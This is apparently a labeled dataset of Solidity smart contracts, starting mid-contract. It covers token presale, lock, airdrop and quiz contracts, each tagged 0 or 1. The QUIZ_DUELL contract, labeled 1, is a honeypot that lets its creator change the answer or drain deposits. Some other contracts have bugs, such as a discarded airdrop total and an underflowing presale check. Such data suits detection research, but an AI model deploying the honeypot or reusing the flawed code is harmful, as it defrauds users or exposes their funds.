function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WPPToken is ERC20, Ownable {
using SafeMath for uint256;
uint256 public totalSupply = 5000000000 * 1 ether;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _approvals;
string public name = "WPPTOKEN";
string public symbol = "WPP";
uint256 public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor () public{
_balances[owner] = totalSupply;
}
function totalSupply() public constant returns (uint256) {
return totalSupply;
}
function balanceOf(address src) public constant returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) public constant returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint256 wad) public returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = _balances[msg.sender].sub(wad);
_balances[dst] = _balances[dst].add(wad);
emit Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_approvals[src][msg.sender] = _approvals[src][msg.sender].sub(wad);
_balances[src] = _balances[src].sub(wad);
_balances[dst] = _balances[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract WPPPresale is Ownable{
using SafeMath for uint256;
WPPToken public wpp;
uint256 public tokencap = 250000000 * 1 ether;
uint256 public hardcap = 250000000 * 1 ether;
bool public reached = false;
uint public startTime ;
uint public endTime ;
uint256 public rate = 2700;
uint256 public remain;
address public multisigwallet;
mapping(address => bool) public isWhitelisted;
mapping(address => bool) public isAdminlisted;
event BuyTokens(address indexed beneficiary, uint256 value, uint256 amount, uint time);
event WhitelistSet(address indexed _address, bool _state);
event AdminlistSet(address indexed _address, bool _state);
event TreatRemainToken();
constructor(address token, uint _startTime, uint _endTime, address _multi) public{
wpp = WPPToken(token);
require (wpp.owner() == msg.sender);
startTime = _startTime;
endTime = _endTime;
remain = hardcap;
multisigwallet = _multi;
}
modifier onlyOwners() {
require (isAdminlisted[msg.sender] == true || msg.sender == owner);
_;
}
modifier onlyWhitelisted() {
require (isWhitelisted[msg.sender] == true);
_;
}
function () public payable onlyWhitelisted {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable onlyWhitelisted {
buyTokens(beneficiary, msg.value);
}
function buyTokens(address beneficiary, uint256 weiAmount) internal {
require(beneficiary != 0x0);
require(validPurchase(weiAmount));
uint256 tokens = calcBonus(weiAmount.mul(rate));
if(remain.sub(tokens) <= 0){
reached = true;
uint256 real = remain;
remain = 0;
uint256 refund = weiAmount - real.mul(100).div(110).div(rate);
beneficiary.transfer(refund);
transferToken(beneficiary, real);
forwardFunds(weiAmount.sub(refund));
emit BuyTokens(beneficiary, weiAmount.sub(refund), real, now);
} else{
remain = remain.sub(tokens);
transferToken(beneficiary, tokens);
forwardFunds(weiAmount);
emit BuyTokens(beneficiary, weiAmount, tokens, now);
}
}
function calcBonus(uint256 token_amount) internal constant returns (uint256) {
if(now > startTime && now <= (startTime + 3 days))
return token_amount * 110 / 100;
return token_amount;
}
function transferToken(address beneficiary, uint256 tokenamount) internal {
wpp.transfer(beneficiary, tokenamount);
}
function forwardFunds(uint256 weiAmount) internal {
multisigwallet.transfer(weiAmount);
}
function validPurchase(uint256 weiAmount) internal constant returns (bool) {
bool withinPeriod = now > startTime && now <= endTime;
bool nonZeroPurchase = weiAmount >= 0.5 ether;
bool withinSale = reached ? false : true;
return withinPeriod && nonZeroPurchase && withinSale;
}
function setAdminlist(address _addr, bool _state) public onlyOwner {
isAdminlisted[_addr] = _state;
emit AdminlistSet(_addr, _state);
}
function setWhitelist(address _addr) public onlyOwners {
require(_addr != address(0));
isWhitelisted[_addr] = true;
emit WhitelistSet(_addr, true);
}
function setManyWhitelist(address[] _addr) public onlyOwners {
for (uint256 i = 0; i < _addr.length; i++) {
setWhitelist(_addr[i]);
}
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function setRate(uint256 _rate) public onlyOwner returns (bool) {
require (now >= startTime && now <= endTime);
rate = _rate;
}
function treatRemaintoken() public onlyOwner returns (bool) {
require(now > endTime);
require(remain > 0);
wpp.transfer(multisigwallet, remain);
remain = 0;
emit TreatRemainToken();
return true;
}
function kill() public onlyOwner{
selfdestruct(owner);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29289600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xed1ea79770b35b1b36F5e7bC209D4b1F0919dCeE;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Delivery is Ownable{
using SafeMath for uint256;
uint256 public Airdropsamount;
uint256 public decimals;
Peculium public pecul;
bool public initPecul;
event AirdropOne(address airdropaddress,uint256 nbTokenSendAirdrop);
event AirdropList(address[] airdropListAddress,uint256[] listTokenSendAirdrop);
event InitializedToken(address contractToken);
function Delivery(){
Airdropsamount = 28000000;
initPecul = false;
}
function InitPeculiumAdress(address peculAdress) onlyOwner
{
pecul = Peculium(peculAdress);
decimals = pecul.decimals();
initPecul = true;
InitializedToken(peculAdress);
}
function airdropsTokens(address[] _vaddr, uint256[] _vamounts) onlyOwner Initialize NotEmpty
{
require (Airdropsamount >0);
require ( _vaddr.length == _vamounts.length );
uint256 amountToSendTotal = 0;
for (uint256 indexTest=0; indexTest<_vaddr.length; indexTest++)
{
amountToSendTotal.add(_vamounts[indexTest]);
}
require(amountToSendTotal<=Airdropsamount);
for (uint256 index=0; index<_vaddr.length; index++)
{
address toAddress = _vaddr[index];
uint256 amountTo_Send = _vamounts[index].mul(10 ** decimals);
pecul.transfer(toAddress,amountTo_Send);
AirdropOne(toAddress,amountTo_Send);
}
Airdropsamount = Airdropsamount.sub(amountToSendTotal);
AirdropList(_vaddr,_vamounts);
}
modifier NotEmpty {
require (Airdropsamount>0);
_;
}
modifier Initialize {
require (initPecul==true);
_;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function Peculium() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 0 |
pragma solidity ^0.4.20;
contract QUIZ_DUELL
{
function Try(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function initialize_quiz(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
} | 1 |